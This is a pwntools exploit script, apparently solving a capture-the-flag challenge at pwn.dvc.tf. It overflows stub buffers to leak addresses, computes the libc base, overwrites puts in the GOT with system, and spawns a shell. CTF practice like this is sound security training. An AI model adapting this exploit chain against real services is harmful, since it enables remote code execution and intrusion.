from pwn import *


HOST = ("pwn.dvc.tf", 8889)

binary = ELF("vuln")


p =  connect(HOST[0], HOST[1])
# p = process("vuln")

OFFSET_EMERGENCY_CMD = 0x5555555572f0
OFFSET_MAIN = 0x555555555817
OFFSET_GOT_PUTS = 0x555555557220
OFFSET_GOT_READ = 0x555555557240
OFFSET_GOT_FREE = 0x555555557218
LIBC_PUTS = 0x84ed0
LIBC_BINSH = 0x1dc698
LIBC_SYSTEM = 0x54d60


def create_stub(p, n, payload=b"A"*512):
	info(f"Creating attacking stub n°{n} with max command size of 512")
	p.recvuntil(b">>")
	p.sendline(b"C")
	p.recvuntil(b">>")
	p.sendline(str(n).encode())
	p.recvuntil(b">>")
	p.sendline(payload)
	info(f"stub n°{n} created")

def edit_stub(p, n, payload):
	info(f"Editing stub n°{n}")
	p.recvuntil(b">>")
	p.sendline(b"D")
	p.recvuntil(b">>")
	p.sendline(str(n).encode())
	p.recvuntil(b">>")
	p.sendline(payload)
	info(f"stub n°{n} edited")

def print_stub_cmd(p, n):
	p.recvuntil(b">>")
	p.sendline(b"E")
	p.recvuntil(b">>")
	p.sendline(str(n).encode())


def leak_got_addr(p, n, got_addr):
	create_stub(p, n)
	create_stub(p, n + 1)
	edit_stub(p, n, b"B"*32 + p64(got_addr))
	print_stub_cmd(p, n + 1)
	rawdata = p.recvuntil(b"command").split(b"\n")[1]
	addr = u64(rawdata + b"\x00\x00")
	return addr

def arbitrary_write(p, n, addr, data):
	create_stub(p, n)
	create_stub(p, n + 1)
	edit_stub(p, n, b"B"*32 + p64(addr))
	edit_stub(p, n + 1, data)

# LEAKING BASE ADDR
create_stub(p, 0)
create_stub(p, 1)
edit_stub(p, 0, b"B"*(32+15))
print_stub_cmd(p, 0)
rawdata = p.recvuntil(b"command").split(b"\n")[2]
addr = u64(rawdata + b"\x00\x00")

base_addr = addr - OFFSET_EMERGENCY_CMD
got_puts_addr = base_addr + OFFSET_GOT_PUTS
got_read_addr = base_addr + OFFSET_GOT_READ
got_free_addr = base_addr + OFFSET_GOT_FREE

print("STUB ADDR        : ", hex(addr))
print("BASE ADDR OFFSET : ", hex(base_addr))
print("PUTS GOT ADDR    : ", hex(got_puts_addr))
# print("READ GOT ADDR    : ", hex(got_read_addr))
# print("FREE GOT ADDR    : ", hex(got_free_addr))

# LEAKING LIBC VERSION
puts = leak_got_addr(p, 3, got_puts_addr)
print("LIBC PUTS        : ", hex(puts))
# read = leak_got_addr(p, 5, got_read_addr)
# print("LIBC READ        : ", hex(read))
# free = leak_got_addr(p, 7, got_free_addr)
# print("LIBC FREE        : ", hex(free))

# GET LIBC ADDR
libc_addr = puts - LIBC_PUTS
print("LIBC BASE ADDR   : ", hex(libc_addr))
system = libc_addr + LIBC_SYSTEM
print("SYSTEM ADDR      : ", hex(system))


# OVERWRITING GOT PUTS
arbitrary_write(p, 9, got_puts_addr, p64(system))
create_stub(p, 11, b"/bin/sh")

# FINALLY, A SHELL APPEARS
p.sendline(b"E")
p.recvuntil(b">>")
p.sendline(b"11")
p.interactive()